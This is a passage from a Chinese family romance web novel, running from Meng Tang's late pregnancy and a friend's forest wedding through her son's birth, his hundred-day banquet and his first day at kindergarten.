老爷子也不是没让她考虑自己的终身大事,但方姐每次都是摇头,久而久之,孟遇春也就不提了。 火膛的红薯好了,魏川用叉子播出来,说:“凉一凉,我先把这两个给老爷子和方姐送过去。” “好。” 嘴上这么说,等魏川走掉后,她用叉子将红薯拨到盘子里。 红薯已经烤得软烂,她用勺子拨开焦香的外皮,露了里面橙黄的香甜。 用勺子轻轻刮了一层,孟棠将红薯送进口中,有点烫,她张着嘴巴缓了会儿,随后眯起了眼睛。 她跟魏川在学校的时候也吃过一次,就在墙根边,现在想起来恍如昨日。 “你都吃了?”魏川回头来找人,“不烫吗?” 孟棠挖起一勺红薯递到他唇边:“自己烤的,尝一下。” 魏川张口吃掉,竖起大拇指:“可以,又香又甜。” 最后一抹天光被黑暗吞噬,两人守着一个火炉用烤红薯当了晚饭。 冬天几个月,孟棠很少出家门,直至春芽涌出,她回到木雕馆安排了接下来半年的工作。 有孟遇春在家顶着,她倒是没什么不放心的。 五月初,楚茵亲自来接她,去z市待产。 少了两人,家里一下又清净了下来,魏家倒是热闹了。 楚茵问东问西,关心两人在雁清的日子,还给孟棠看了自己给她准备的所有的待产物品,医院也早已联系好。 孟棠笑了笑:“谢谢妈。” 楚茵:“谢什么,应该的,你俩坐车也累了,先上楼休息,今晚沅沅和小白过来吃饭,到时候咱们再热闹热闹。” “好。” 魏川扶着孟棠上了楼,说:“我妈给你准备了参加婚宴的衣服,都是适合孕妇穿的,你上楼去看看?” “妈有心了。”孟棠说,“不用看也知道合适。” 魏川笑道:“她就爱捣鼓这些,准备的肯定都是合适你的,我也不懂这些,你自己随意挑一件就行,不过六月初还不热,要加件开衫。” 孟棠生怕他继续啰嗦,浅浅应了声。 六月时,孟棠的肚子已经很大了,但外表纤细的人,宽松裙装一套,基本看不出怀了孕。 魏川笑着扯了下她的裙摆:“真的看不出来怀孕了。” 孟棠拍掉他的手:“走了,早点过去还能和石岚她们聊聊天,好久没见了。” “走~” 第239章 孕期(5) 许鹤清和谢泠音的婚礼在一个度假村的酒店里举办,这个酒店一直承接婚宴,形式多样,有花园、草坪、森林等主题。 谢泠音选了森林婚礼,只邀请了两边的亲友。 孟棠和魏川刚到酒店,就被等在大厅的朋友们围住了。 魏川和李卓、梁衡抱了下,孟棠也在石岚和杨可的搀扶下往沙发边去。 落座后,孟棠有些疑惑地问石岚:“咱们现在不上去吗?” 石岚:“他俩在接待宾客呢,再过半小时过去打招呼,泠音特地交代了,给你伺候好就行。” 孟棠哭笑不得:“魏川在呢。” 杨可倾身看向孟棠的肚皮:“怎么一点都看不出来你要生了?” “还是那么瘦。”杨可附议,“我嫂子当初怀孕的时候,肚子大得吓人。” 孟棠说:“每个人体质不一样吧,我没胖多少。” 石岚推了把杨可:“你傻了啊?魏川肯定找专人照顾她了。” “其实魏川照顾得蛮多的。”孟棠说,“我后来一直在雁清,很多事都是他做。” “好老公都是别人家的。”杨可说,“前段时间,家里让我相亲,我寻思着去一趟吧,最后给我搞恐婚了。” 石岚举起手:“相亲,我可太有发言权了,我之前不是在群里给你们发了聊天记录嘛,创死人不偿命。” 孟棠笑了笑:“你俩难道一直没谈吗?” “怎么可能?”杨可说,“前前后后也接触了两个,但不到一年都分了,都没带回家过,也就没和你们说。” “我可是知道的。”石岚笑了下,“我俩一直单身狗嘛,会聊一聊谈恋爱的事。” 几个人一聊就停不下来了,直至许鹤清和谢泠音从楼上下来。 孟棠刚要起身,被谢泠音抬手拦住:“你赶紧坐,到底跟我客气什么?” “你俩怎么下来了?”孟棠失笑,“不是还有客人吗?” “两边的亲朋,也没多少人,喘口气歇会儿,就和许鹤清下楼叫你们去吃饭。” 孟棠看了眼时间:“宴席开得够早啊,下午忙吧?” “当然忙啊。”谢泠音说,“婚礼下午四点开始,妆造都得两三个小时了,我也没想到,结婚那么累。” “你俩搞特殊,婚纱照都没拍。”孟棠说,“你要是拍了婚纱照,就知道结婚有多累了。” 谢泠音:“婚纱照就拍了一组,婚礼上用一下就行,我也是在网上看到说累死人才这样决定的。” “一组也挺好的。”孟棠说,“除了卧室摆一张主纱的,别的都收在柜子里,还占地方。” 魏川曾经还抗议过要把婚纱照都摆出来,遭到了她的坚决反对。 雁清老宅的布置都有讲究,在老宅拍的,可以拿出来摆两张,全摆出来会破坏室内布局的整体美感。 石岚和杨可在一旁不住点头,学到了,都是前辈的经验啊。 从中午吃饭开始,魏川一直守着孟棠没有离开,吃完饭,两人回到酒店房间休息。 魏川从背后抱住孟棠,在她后颈亲昵地亲了下,说:“我突然想起我们结婚的时候了,原来都过了这么久了。” 孟棠轻笑:“人家高兴的日子,你突然感伤什么?” “就是觉得时间太快了,”魏川搂紧她,声音闷闷的,“一眨眼的工夫,孩子都有了。” “都快生了。”孟棠打了下他的手背,“别跟我说你还没有实感。” “辛苦的不是你嘛。”魏川笑了声,“我估计要见到小家伙才能有实感。” 孟棠翻转过身体,枕在魏川的胳膊里,看着他的眼睛,问:“我好像也没跟你聊过这个问题,你对第一个孩子是男是女有期望吗?” “这有什么好期望的?不是男生就是女生。”魏川说,“重要的是,是我们俩的孩子,男女没什么所谓,不过,我还是坚持那句话,别让我闺女学木雕。” 看着他皱起的眉心,孟棠无奈了:“万一你闺女有天赋呢?” 魏川哼道:“有天赋就得干这行啊?” 孟棠用指尖压住他眉心:“你以为天赋随随便便就能有,你还担心上了。” “也是,后天的勤奋比天赋更重要。”魏川拍了拍她的后背,“睡吧,一个小时后我叫你。” 孟棠闭上了眼睛。 迷迷糊糊睁眼时,确实只过了一个小时。 魏川没睡,见她醒了,放下手机,说:“谢泠音在化妆,石岚和杨可都在,你要去吗?” “去看看。”孟棠刚醒,嗓音有些哑。 魏川起身:“先坐着缓一缓,我去给你倒杯水。” “嗯。” 孟棠坐了半分钟,魏川拿来了一杯温水。 她慢慢喝完后,拉住魏川的手起了床。 收拾整理了一番后,她去敲了谢泠音的房门,里面都是女生,魏川没进去,就在客厅的沙发坐了下来。 谢泠音看到孟棠,笑了声:“你来了?睡得还好吗?” 孟棠点了点头:“化多久了?” “早呢。”石岚扶着她坐下,“坐着等,泠音给你准备了一些吃的,饿吗?” 孟棠摇了摇头:“暂时还不饿。” “那就等饿了再吃。”谢泠音说。 孟棠“嗯”了声。 事实上,魏川就不可能让孟棠饿着,婚礼开始之前,哄着孟棠吃了点下午茶。 下午的森林静谧安宁,苔藓覆盖着缓坡,阳光从树缝里穿过,落在谢泠音和许鹤清的身上,美得不真实。 简短温馨的仪式不到一个小时就结束了,当晚,两个寝室的人在酒店的花园里开了个夜话派对。 说派对有点夸张,其实就是吃吃喝喝聊一宿。 孟棠不能跟他们熬,说着说着倒在了魏川的怀中,最后还是被魏川抱进了房间。 他们所有人是第二天下午离开度假村酒店的,这一别,倒是没什么伤感的,因为孟棠还有一个月就要生了。 石岚抱了下孟棠,说:“生孩子时候肯定忙,等孩子满月或者白天,我们一定会过来看你的。” “好。”孟棠回抱住她。 谢泠音笑着摸了下孟棠的肚皮:“干妈的位置留我一个。” “行。”孟棠有求必应。 一个月的时间,眨眼的事。 临近预产期,孟棠依旧没有动静,彼时她已经住进了医院,等待各项指标,准备剖腹产。 生产那天,魏川突然一阵胃痛,手心里也藏着一片汗湿,手指冰凉。 楚茵按住他的手:“没事,别紧张,一会儿就出来了。” 魏川傻愣愣地看着楚茵:“我控制不住啊。” 楚茵:“……” 魏立峰上前拍了拍他的肩:“控制不住的话,待会儿孟棠出来,你自己一个人坐在这里,孩子也别看。” 魏川蹭一下站了起来。 “孟棠的家人在吗?” “我!”魏川激动地举起手,“我在这儿。” 第240章 生子(1) “男孩,35千克,恭喜了,母子平安,各项指标都健康,很快产妇就能出来。” 魏川好似没听见护士最后一句话,急道: “我老婆呢?” “都说很快出来了。”楚茵赶忙抱过孩子,“你别抓着人家,小心孩子。” 魏川下意识松开护士的胳膊:“抱歉。” 楚茵将孩子交给阿姨,转头让魏立峰和魏思嘉看着孩子,自己和魏川在这里等孟棠。 孟遇春拦住阿姨:“给我看看。” 楚茵一阵尴尬,把老爷子给忘在了一旁。 阿姨忙抱着孩子给孟遇春看了眼,孟遇春笑了声:“虎头虎脑。” 魏立峰凑过去看了眼,满眼欢喜:“这么小就看出来了?” “那就瞧着吧。”孟遇春心情大好,这小子一看就聪明。 魏川能自己的儿子长什么样都不知道,直至孟棠被推出来,他才终于松了口气。 病房是最好的套间,孩子有专门的人照顾,魏川就围着孟棠转。 “疼吗?”魏川趴在床头,像一只担惊受怕的狗狗。 “不疼。”孟棠说,“孩子呢,抱过来看看。” “妈!”魏川回头喊了声,“把孩子抱过来给孟棠看看。” 楚茵自己的三个孩子都是保姆带的多,乍然这么小的孩子,她也有点不太敢抱。 最后还是方姐给孟棠抱了过去。 小小一团,还透着点红,孟棠愣愣看着一旁的孩子,不敢相信是自己肚子里生出来的。 她和魏川对视了眼,都从对方眼里看到了尴尬无措的迷茫。 魏川也盯着小家伙,半晌没舍得眨眼。 他伸出手指头,在宝宝脸颊边停住:“好小。” 他的手指头都比宝宝的脸大。 孟棠看向方姐:“能摸吗?” “能。”方姐失笑,“轻点。” 孟棠伸出手指,轻轻点在宝宝的脸上,宝宝突然哼唧了两声,吓得她缩回了手。 “我来看看,可能尿了。” 方姐赶紧把孩子接了过去,掀开尿布一看,确实尿了。 她就要动手,被楚茵拦住:“有专门的护工,您别累着。” “哪能累着。”方姐缩回了手,还是交给了专业人士,钱都花了,不用白不用。 孟棠在医院住了五天,之后回到魏家坐月子。 孟遇春和方姐隔天回了雁清,临走前,将雕刻的礼物送了出去,说等百日宴再过来。 魏立峰亲自将人送出去,又吩咐司机将人平安送到雁清。 回去的时候,楚茵和魏思嘉、魏思沅围在一起惊叹不已。 “外表看上去看个盒子。”楚茵摸索半天也不知道是什么,转头问孟棠,“这是什么啊?” 孟棠说:“多宝盒,每一面都有对应的匣子,里面装的应该是玩具。” 楚茵惊叹了声:“玩具是木头雕的?” 孟棠朝她伸手:“我给您打开。” 楚茵将多宝盒端了过去,魏川接过放到孟棠的眼前。 孟棠笑道:“这叫承禧百宝匣,承载福气吉祥的意思,我看爷爷选的料子是上乘的,质地细腻坚韧,边角圆润没有棱角,宝宝长大可以玩。” 楚茵赞了句:“老爷子有心了。” 魏川戳楚茵心窝子:“这个姓孟呢,老头可不上心吗?” 孟棠“啧”了声,魏川顿时讨饶地看着她。 楚茵白了他一眼:“该。” 跟谁姓,其实她一开始有点意见,但想想孟家没人,也就妥协了。 魏思沅指了指多宝盒,问孟棠:“这个怎么开啊?” “爷爷这个用了巧思,每个面都有不同的机关,肉眼看不出来。”孟棠说,“要用手摸,看这里的花纹,你抬手摸上去,往右滑动就开了。” 魏思沅试了试,薄薄一块木片果真向右移动,令人惊叹的是,木片无论在哪个位置,都能和当前位置的花纹纹路对上。 “我去,好牛啊。”魏思沅拿出里面的玲珑摇铃晃了晃,“怎么这么精美啊,这要是拍卖,能卖不少钱吧?搞得我也想要一个了。” “你想得美!”魏川从她手中夺过摇铃,“老爷子年纪大了,吃不消这么精细的活,这件东西,我估计是孟棠怀孕的时候雕刻的,全世界仅此一件,无价之宝。” 魏思沅哼了声:“我又不求老爷子给我雕,孟棠给我雕一个就行。” 魏川朝她伸手:“钱来。” 魏思沅一巴掌落到他掌心:“我给你一巴掌要不要?” “你俩别吵了。”楚茵快烦死他们了,“孟棠你赶紧看看其他面的玩具是什么。” 这个摇铃太漂亮了,中空的圆球上什么花纹都没有,内里嵌着 圆溜溜的黄杨木珠。 手腕一晃,木珠碰到球壁,声音如流泉,可以锻炼宝宝的听觉追踪和抓握。 孟棠一一拆开给他们看,说:“第二个格子里是练习触感的球,上面有纵横交错的纹理,是波浪纹、麻点纹和经纬纹。” “这边还有个小葫芦……” 孟棠每说一个,都让孟家人赞叹不已,这份礼物太过用心了,也不怪魏思沅眼馋。 她晃了下孟棠的胳膊:“你会雕吗?” 孟棠点了点头:“你想要,我以后给你雕就是了。” 魏思沅开心地跺了跺脚:“放心,绝不让你白做。” “好了。”魏川起身,“时间差不多了,你们都出去,孟棠还要做产后康复。” 魏思沅拿走多宝阁:“我先替我小侄儿玩一玩。” “你给我还回来。”魏川追上去,“弄坏了你都赔不起。” “小气鬼。” “魏川。”孟棠叫了声,“不会坏的,再说现在宝宝也玩不了。” 魏川只得回头,换了一副温柔笑脸:“我陪你做产后康复。” “好。” 第241章 生子(2) 坐月子的42天里,孟棠不算无聊。 除了康复项目,剩余的时间都用来逗孩子了。 虽说小孩整天除了吃就是睡,但也有睁眼的时候。 每到那会儿,孟棠和魏川一人一边趴在床边你一眼我一眼。 等孩子睡着了,两人又相视一笑。 魏川从床尾绕过,在孟棠身边蹲下,小声问:“你觉得他像谁?” “你。”孟棠看向他,“出生的时候就跟你一模一样,但方姐说,小孩子会变的。” “都说男孩像妈妈多一点,说不定以后跟你像。”魏川将孟棠扶起来。 “妈说眼睛像我,其他地方像你。” “我就看不出来他到底像谁。”魏川失笑,“那么一点,整天闭着眼,除了吃就是睡,小猪一样。” 孟棠“啧”了声:“小婴儿就是这样,过了三个月,活动就多了。” 出了房门,阿姨给孟棠送了餐。 今日餐食有点变化,孟棠去餐桌边坐下,先让魏川尝了一口。 魏川指了指自己肚子:“再吃腹肌都没了。” 孟棠默默拿回汤匙,魏川气笑了:“怎么个意思?喜欢啊?” “谁喜欢了。”孟棠嘀咕了句。 “我看你平时也没表现出来。”魏川跟她并排坐着,用肩膀抵了抵她,“你就算整天摸着不放手,我也不敢反抗啊。” “走开。”孟棠耳尖发烫,“别打扰我吃饭。” 魏川搂住她的腰,在她耳尖上亲了一口:“老夫老妻了,还害羞呢?” “你别动手动脚。”孟棠边躲边笑,“整天没个正形。” 楚茵走到门口,见里面腻歪的两人,表情略有嫌弃,立刻退了出去。 臭小子确实没正形,整天就爱逗弄孟棠,顺道和魏思沅吵架。 “好了。”孟棠推开在自己颈边啄吻的人,“宝宝百日宴你们准备在哪儿办啊?” “我妈不是在操心嘛。”魏川说,“这些事很琐碎,你做不来,烦得很。” “妈辛苦了。”孟棠确实做不来,魏川这边的亲戚她都没认全,“百天宴,爷爷也过来,我们到时候回雁清吗?” “回啊。”魏川说,“我先送你和宝宝去雁清,你不是有个文化节的活动嘛,到时候孩子给方姐带,我陪你去参加活动,之后我再回z市,等青少年篮球训练营基地的项目弄得差不多了,我再回雁清。” 孟棠赶紧阻止:“别,活动我自己去,谭曦也在,你来回跑不累吗?还是早点把公司的事情忙完再说。” “后半年公司有些忙,能多陪你就多陪你,不过就是我多跑几趟的事。”魏川安抚她,“你只管在雁清忙着。” 孟棠点了点头:“方姐年纪大了,一个人照顾不来,我再找个年轻点的,能照顾孩子的月嫂。” “好的月嫂不在市场流通。”魏川说,“这事让我妈去办吧。” 孟棠说:“去雁清找吧,方便一点。” “也行。”魏川从不在这些小事上跟孟棠唱反调。 百日宴当日,孟遇春从雁清赶来了z市,方姐也一道过来了。 将近三个月没见,宝宝更加圆润可爱,看得人心里软软,总忍不住上手摸两下。 “呦,才三个月,长这么胖?”孟遇春捏了下宝宝的小脚。 宝宝吭哧吭哧发着无意识的音节,大眼睛圆溜溜,时不时咧嘴笑笑,混着口水一起,看得孟遇春喜欢不已。 不明所以的宾客看到百日宴上的名字,突然愣了下: “孟竞帆,这……怎么跟女方姓了?” “之前一直传魏川入赘了,难道是真的?” “入赘了,百日宴怎么可能在魏家办,你看楚茵那样儿,能让魏川入赘吗?” “好像也有点道理,我看女方家的长辈也过来了。” “看到木雕的承禧百宝匣没有?技艺精湛,不,不能用精湛来形容,应该叫登峰造极。” “看得我都想买一个,但魏川那小子说仅此一件。” “看见老赵没,还守着宝匣钻研呢,已经看痴了。” 聊着聊着,内容全歪了,也没人在乎魏川入不入赘了。 不少人对木雕有兴趣,都过来跟老爷子攀谈。 孟棠的卧室里,谢泠音逗着宝宝,转头说:“我一时看不出来他像谁,感觉两个都像。” “眉眼像孟棠。”石岚说,“其他地方像魏川,这小子专挑优点长。” 杨可笑了声:“孟棠和魏川的五官也没什么缺点吧?所以咱们小帆帆怎么长都行。” “你可真会投胎。”谢泠音点了下宝宝的鼻子,“高富帅啊。” 孟棠失笑:“到底哪里看出来高了?” “基因摆在这里,矮不了。”谢泠音说。 “咱川哥儿子都有了,可怜我还是单身。”梁衡突然感慨了一句,“你说我这姻缘是不是太坎坷了?每次有点苗头,总会因为各种各样的原因不了了之。” 李卓拍了拍他的肩:“我建议你去庙里算算。” 梁衡:“……滚!” 他在家里被催婚催怕了,辞了工作来了z市,目前刚稳定不久。 借着小孩百日宴,这几人又聚了一次。 告别前,魏川特地吐槽:“我说你们一个个的人生大事能不能抓点紧?别每次聚会都要我和孟棠找理由让你们过来,我儿子都生了,可没下次了。” 许鹤清悠悠调侃:“你可以生二胎,我们还是会来的。” “对,三胎也行,积极响应国家号召。”李卓也附和了声。 “赶紧滚!”魏川笑骂,指着酒店门口的车,“马不停蹄地滚。” “拜拜了您嘞。” 魏川气笑了,朝他们挥了挥手。 夕阳落幕,孟棠和魏川转身回了别墅。 翌日上午,孟棠和魏川带着孩子一起回了雁清,此后逢年过节才回一趟z市。 但楚茵挂念孙子,隔三岔五就要来看望一下,一来一回间,孟竞帆小朋友从圆滚滚讨人喜欢的奶团子变成了雁清巷里巷外一个精力旺盛、有祸立即闯,没祸硬要闯的土匪小霸王。 第242章 生子(3) 雁清,老宅。 七月闷热,孟竞帆小朋友穿着白色的背心和短裤,趁大人不注意,搬了板凳放到水缸旁边。 随后从怀里掏出一只毛茸茸的小鸭子放进了水缸。 “哈哈……”小朋友开心地撩起一把水,弄湿了鸭子,也弄湿了自己。 小肚凉嗖嗖,他丝毫感觉不到。 孟棠从后院工坊出来,看到孟竞帆的肚子挂在水缸边缘,整个人都悬空了,吓了一跳。 不过她没有出声,生怕把他吓着栽水缸里。 孟棠赶紧过去,打算教育一下,步子刚迈出去两步,一只大手拎住了孟竞帆的后衣领。 “孟竞帆!”魏川拧着眉心,“你又皮痒了?” “啊……”孟竞帆手脚并用,在空中晃荡,“我在给小鸭子游泳呢。” 魏川眼眸一抬,险些气晕:“你就直接把鸭子放吃水的缸里?你完了我告诉你,方姐回来一定会揍你的。” “她才舍不得打我,爸爸,放我下来。” 魏川在他屁股上揍了一巴掌,将人放了下来。 孟竞帆揉着屁股转身,看到孟棠时,小脸扬起大大的笑,跑了过去:“妈妈。” 孟棠蹲下身,扯住他的背心:“衣服湿了,知不知道?” 孟竞帆心虚地凑过去,在孟棠脸上亲一口:“妈妈我爱你。” 孟棠什么办法都没有了,这小子太会甜言蜜语了,跟他爸一个德行。 “先去换身衣服,待会儿再揍你。” 孟棠这话对于孟竞帆来说没有一点威慑力。 进了屋,孟棠给他拿了身衣服,边换边说:“缸里的水是吃的,你把鸭子放进去,就是浪费了一缸的水,你爸爸还得重新消毒洗缸,知道错了没?” “错了。”孟竞帆认错贼快,“可我的小鸭子怎么办?” “小鸭子从哪儿来的?”孟棠给他整理了下衣领。 “瞿奶奶给的,豆子有一个。”孟竞帆小嘴叭叭,“好可爱,软软的,我喜欢呢。” “所以赖着不走,人家就给你了?”孟棠捏了下他的鼻子。 “瞿奶奶喜欢我,可不是我要的。”孟竞帆嘟了嘟嘴。 “小魏,你怎么在刷缸?” 屋外传来方姐的声音,孟竞帆转身,一溜烟跑出去,抱住方姐的腿说:“是我把小鸭子放进水缸里了。” 方姐笑着捏了下他的脸,从篮子里给他拿了个番茄:“拿着啃吧,洗过了。” “等一下。”孟棠赶紧制止,“手还没洗呢。” 魏川用水瓢接了水,对孟竞帆说:“过来洗手。” 小朋友肉嘟嘟往魏川旁边一蹲,伸出去的手跟没伸一样,魏川无奈地自己往他那边靠了靠,慢慢给他洗了手。 “谢谢爸爸。” 魏川气笑了:“你是我祖宗。” 孟竞帆洗完手,屁颠地走了,坐在小板凳上啃着番茄,方姐见状,笑着给他拿了围嘴。 “我的小祖宗哎,家里有钱也不是这么败的,还能穿一件扔一件啊?你看你这衣服,又脏了。” 孟遇春从外头回来,见到孟竞帆吃成了花猫,乐呵呵地在他身边坐下,时不时摸摸他的头。 “小子,今天干了什么?要不要跟我去后院玩木头?” “不好玩。”孟竞帆说,“我带回来一只小鸭子,我教它游泳呢。” “哈哈……”孟遇春朗声大笑,“它没骂你啊。” “嘎嘎……”孟竞帆学着鸭子的叫声,转头看向孟遇春,“像这样叫了几声。” “哈哈……” 孟遇春的笑声更大了。 吃完了番茄,孟遇春给他擦了嘴,又问:“跟不跟我去后院玩木头?” 孟竞帆面露难色。 小小一人,竟然还会考虑别人了,他瞥了眼孟遇春,生怕被拎到后院。 孟遇春看向孟棠,摇了摇头,看来这小子不是个木雕的料。 三到六岁,正是一切基础能力的萌芽阶段。 孟竞帆已经三岁了,却耐不住性子去玩木头片,玩泥巴倒还可以,只不过也没个章法。 孟遇春引导过他,这皮小子三秒不到就打破了一切,按照自己的想法我行我素。 就算真有天赋,走的也绝不是传统路子。 别看孩子小,但三岁看老这句话也有一定的道理,孟棠还得收徒,只不过想要找到一个天赋极佳的太难了。 孟棠看着孟竞帆,心里有点遗憾,但遗憾不深。 魏川洗好了缸,让太阳晒着,他朝孟棠努努嘴:“这鸭子怎么办?” “当宠物养呗。”孟棠哭笑不得,“你儿子弄回来的,要是把它弄走,只怕要哭。” 魏川:“……我小时候也不爱哭啊,是不是你小时候总爱哭鼻子?” “你才爱哭鼻子。”孟棠哼了声,“你儿子你不知道?鬼灵精一个,雷声大雨点小,还没怎么着呢,方姐和爷爷就护过去了,他就捏准了这点。” “暑假结束,赶紧送幼儿园。”魏川说,“整天待在家里能翻天。” 三岁两个月,确实也能上了。 孩子周岁时,楚茵提出孟竞帆上学的问题,最终以孩子还小,让他留在了雁清。 魏立峰本来打算在雁清投资一家幼儿园,但被孟棠拒绝了。 两公里之外就有一家幼儿园,她和魏川看过了,特别好,比较注重劳动教育和实践能力的培养。 幼儿园很大,里面还有一大片菜园子,都是小朋友和老师们一起种的。 孟棠觉得这种幼儿园很像她小时候的模式,劳动手工活都是自己来。 和魏川商量了一番,最终决定让孟竞帆在雁清上幼儿园。 等到小学时,再让他回z市。 也就是说,孟竞帆小朋友还有三年的轻松时间。 不管怎么样,不能做个纨绔子弟。 孟棠在雁清离不开,只能辛苦魏川来回跑。 第243章 生子(4) 时间眨眼来到九月,孟竞帆小朋友第一天上幼儿园,全家都很重视。 甚至,楚茵和魏立峰也从z市赶来了。 “来,这些都是姑姑给你的开学礼物。”楚茵蹲下,把玩具全塞给孟竞帆,“宝宝今天上学会不会哭啊?” 孟竞帆瞪圆了眼睛,哭是什么? 魏川更是无语:“妈,你觉得他会哭吗?” 楚茵白了魏川一眼:“孩子还小,一整天都在学校,不想妈妈吗?” “呵呵……”魏川打破她的幻想,“他只要老老实实在学校待一天,我就谢天谢地了。” 楚茵也知道孙子皮,但心里就是喜欢得不得了。 她笑着问:“宝宝,你喜不喜欢奶奶给你带的玩具?” “喜欢,谢谢奶奶和姑姑们。”孟竞帆在楚茵脸上啄了一口。 “哎呦。”楚茵将他抱进怀中,使劲揉了两下才放开,“走,奶奶送你去学校。” “好。” 毕竟是儿子第一天上学,魏川嘴上嫌弃,还是和孟棠一起开车送孟竞帆去了学校。 幼儿园今天布置得很漂亮,魏川刚要拿出手机给儿子拍照,一阵鬼哭狼嚎在身后响起: “妈妈,我要妈妈……我要妈妈……” 孟竞帆耳朵被震懵了一瞬,他转过头,皱着小眉毛说:“你哭啥呀?” 小孩寻到声音,挂着眼泪愣住了。 “你妈妈没来吗?我妈妈来了,这是我妈妈。” 孟竞帆一句话成功让小朋友再次扯开了嗓子。 “孟竞帆!”孟棠哭笑不得,“不能这样说。” 魏川也尴尬地道了歉,小班的老师们根本哄不过来,一人手臂夹着一个,怀里一个,背上一个。 一个哭,所有人都哭,除了孟竞帆小朋友。 楚茵偷偷朝他竖起大拇指。 孟竞帆得意地扬了眉,他就是这么棒!他可不是那些爱哭鬼。 孟棠蹲下身,给小朋友理了下短袖小衬衫的衣领,说:“好了,以后就是上学的小朋友了,爸爸妈妈不能陪你一起上课的,能自己进去吗?” 孟竞帆拍了胸脯:“能。” 孟棠在他脸上亲了下:“去吧。” 孟竞帆雄赳赳气昂昂进了教室,大爷似的在椅子上一屁股坐下,那姿态神情,和魏川一个样,忒嚣张。 长得像孟棠,行为习惯像魏川,楚茵看着,心里软乎乎,觉得她大孙子太可爱了。 孟棠和魏川对视一眼,拉着楚茵离开了。 可到幼儿园门口了,她又不太想走了,门口还有不少家长都在逗留。 园长和门卫都在门口,劝说了几句,才把家长们劝走。 楚茵回去都待不住,一个劲想往学校去。 魏川拿出手机,点进一个小程序给楚茵:“你大孙子好着呢,不信自己看。” “有监控啊?”楚茵啧了声,“怎么没告诉我,把我也拉进去。” 魏川邀请了她,又帮她下载,设置关联了账号。 孟遇春慢悠悠凑过来:“给我也弄一个。” 魏川:“……” 孟棠轻笑了声,孟竞帆去幼儿园上个学,牵动了全家的心。 她拉着魏川坐下,说:“我待会儿去一趟馆里,中午不回来吃饭,你这次跟爸妈一起回z市吗?” “要回,孟竞帆那小子,这段时间就麻烦你照顾着。”魏川暗戳戳牵起孟棠的手亲了下。 孟棠失笑:“他哪里要我照顾,方姐和英姐抢着照顾呢。” 英姐是后来的,四十左右,是雁清本地人,方姐介绍她来照顾孟竞帆的。 前段时间她家里有事,明天才能回来。 魏川也笑:“这次要去z市待一段时间,国庆的时候,你带着孩子来z市吧,我恐怕走不开。” “好。” 魏川要亲自盯一下精英班的训练课,附带处理一些杂七杂八的事。 快一个月不能见,魏川有点不大乐意,但也不可能整天围着孟棠转,毕竟还要赚钱养老婆。 孟竞帆第一天上幼儿园,整体表现还是不错的,只不过总一句话噎哭其他小朋友,老师尴尬地跟孟棠提了提。 魏川照着他屁股轻轻踢了下:“哪儿那么多话?” 孟竞帆摇头晃脑做了个晕乎乎的样子:“他们哭得我头疼。” 魏川点了下他额头:“那就更别把人惹哭!” 孟竞帆撇了撇嘴,回到家时,看到楚茵和魏立峰站在车旁等他,冲上去抱住人,小嘴甜甜地问: “爷爷奶奶,你们在等我吗?” “对啊。”魏立峰将他抱起来,“爷爷奶奶要走了,有空再来看你。” 小朋友不太高兴地皱了眉。 魏川弹了下他的肉脸,说:“你爸我也要走了,过段时间,让你妈妈带你去z市。” 孟竞帆眼眸一亮:“去爷爷奶奶家啊?” 楚茵有些心酸:“傻小子,那也是你家,爷爷奶奶的家是你的家,外公的家也是你的家。” 时间不早了,孟棠从魏立峰怀中接过孟竞帆,说:“太阳落山了,还是早点回吧。” “把他放下,太重了。”魏川转头将孟竞帆抱下来,“爸爸走了?” “拜拜。”臭小子没有丝毫的舍不得。 魏川揉了揉他的头,又捂住他的眼,在孟棠唇上迅速落下一个吻。 孟棠心里一惊,推开他去看楚茵和魏立峰,却见两人已经上了车。 魏川得意一笑:“走了,老婆。” 孟棠应了声:“去吧。” 商务车缓缓启动,孟棠在原地站了会儿,带着孟竞帆回了院内。 方姐做了饭,带孟竞帆去填饱小肚子,孟遇春示意孟棠坐下。 “您有话跟我说?” 孟遇春点了点头:“收徒这事,可以提上日程了,你就算生二胎,二胎万一也不是个有天赋的,难不成还去拼三胎?” 孟棠摇摇头:“我现在没空去生二胎。” 孟竞帆一个就够她磨的了。 老爷子笑了笑:“生孩子这事,是你跟魏川的事,我就不过问了,我这门手艺师从你曾祖父,可你曾祖父也是从学徒做起,他的师父不姓孟,所以啊,不拘什么姓氏,手艺传下去就好。” 薪火相传,不是姓氏相传。 当初让孟竞帆姓孟,也不过是希望等他走了,这个世界上还有一个孟棠同姓氏的亲人罢了。 第244章 日常(1) 孟棠哪会不知道老爷子的想法,生怕他说出什么以后不在了之类的话,她应了声后去了餐厅。 孟遇春无奈地摇了摇头,他岁数大了,迟早的事。 以前不放心孟棠,现在她有人支撑和照顾,他也能放心。 这么些年,魏川的所作所为他都看在眼里,是个有担当的。 现在还有孟竞帆这小子,他就更放心了。 孟竞帆吃得嘴巴都是油,孟棠在他身边坐下,笑着问:“好吃吗?” “好吃。”孟竞帆点了点头,给孟棠嘴里也塞了一块油乎乎的糕点。 孟棠皱着眉头笑纳了。 吃饱喝足,孟竞帆一把搂住孟棠:“妈妈,宝宝今晚跟你睡好不好?” “为什么不自己睡?”孟棠轻笑了声,“你睡觉没品,总是踩到人。” “妈妈~”孟竞帆黏糊糊地撒娇,“你不想和我一起睡吗?” 孟棠稳住他的身体,笑了笑:“小心点别摔了。” 孟竞帆跟个话痨似的,孟棠不答应,他就一个劲地撒娇卖萌。 孟棠不理他,他就把孟棠的头往下掰。 “好好好。”孟棠无奈地答应,“但是晚上你给我老实点。” “好~”孟竞帆终于满意了。 晚上洗完澡,孟竞帆美滋滋地爬上了他梦寐以求的老爸老妈的床。 孟棠洗澡去了,手机搁在床上。 魏川发来视频时,是孟竞帆接的:“歪?” “我还呱呢。”魏川轻嗤,“我就知道你小子不老实,今晚跟你妈妈睡的?” “我妈妈同意了。”孟竞帆哼了声,“谁让你不在啊。” 魏川通过手机镜头指了指他:“你等老子回去的。” “略略略……”孟竞帆给他老子做了个鬼脸,简直是挑衅。 孟棠洗完澡,回到卧室就看到孟竞帆这德行,笑了声:“你爸开视频了?” “赶紧的,我要看你,可不想看这小崽子。”魏川在手机那头哀嚎。 孟竞帆将手机对准孟棠:“妈妈洗头发了。” “对,我还得吹头发。”孟棠朝他挥了挥手,“你先跟儿子聊吧。” 孟竞帆不知道是看不懂眼色,还是纯粹故意的,咧着嘴对魏川笑:“爸爸,妈妈让你跟我聊。” 魏川:“……” 他只想跟他老婆聊。 但孟棠吹头发很慢,能她出来都十点了,孟竞帆需要睡觉。 “别挂。”魏川说,“你先带着他睡,我看着你们。” 